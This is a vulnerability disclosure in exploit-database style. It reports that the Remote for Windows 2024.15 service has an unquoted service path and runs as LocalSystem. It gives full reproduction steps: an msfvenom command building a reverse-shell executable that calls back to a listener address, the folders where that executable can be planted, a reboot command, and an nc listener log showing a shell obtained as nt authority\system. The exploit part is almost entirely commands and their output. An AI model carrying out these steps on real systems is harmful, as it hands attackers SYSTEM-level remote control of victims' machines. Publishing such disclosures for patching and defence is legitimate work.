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📄 Remote for Windows 2024.15 Unquoted Service Path

🗓️ 26 May 2025 00:00:00Reported by Chokri HammediType 
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Remote for Windows 2024.15 has an unquoted service path that runs as LocalSystem.

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# Exploit Title: Remote for Windows 2024.15 - Unquoted Service Path
    # Date: 2025-05-23
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://rs.ltd
    # Software Link: https://rs.ltd/latest.php?os=win
    # Version: 2024.15
    # Tested on: Windows 10/11 with Remote for Windows (helper)
    
    
    Description:
    
    The Remote4WindowsService installs with an unquoted service path and runs
    as LocalSystem.
    
    
    C:\>sc qc Remote4WindowsService
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: Remote4WindowsService
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Program Files\Evgeny Cherpak\Remote for
    Windows\Remote4WindowsService.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Remote4WindowsService
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem
    
    C:\>
    
    
    PS C:\> reg query
    "HKLM\SYSTEM\CurrentControlSet\Services\Remote4WindowsService" /v ImagePath
    
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Remote4WindowsService
        ImagePath    REG_EXPAND_SZ    C:\Program Files\Evgeny Cherpak\Remote
    for Windows\Remote4WindowsService.exe
    
    PS C:\>
    
    # Steps to Reproduce:
    
    1. generate the payload
    
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.101 LPORT=8081 -f exe
    > shell.exe
    
    2. move the shell.exe to:  (if writable)
    "c:\" or
    "C:\Program Files\" or
    "C:\Program Files\Evgeny Cherpak\" or
    "C:\Program Files\Evgeny Cherpak\Remote for Windows\"
    
    
    
    restart windows: shutdown /r /t 1
    
    catch the shell as SYSTEM
    
    $nc -lnvp 8081
    listening on [any] 8081 ...
    connect to [192.168.8.101] from (UNKNOWN) [192.168.8.105] 49672
    Microsoft Windows [Version 10.0.19045.5011]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    whoami
    nt authority\system
    
    C:\Windows\system32>

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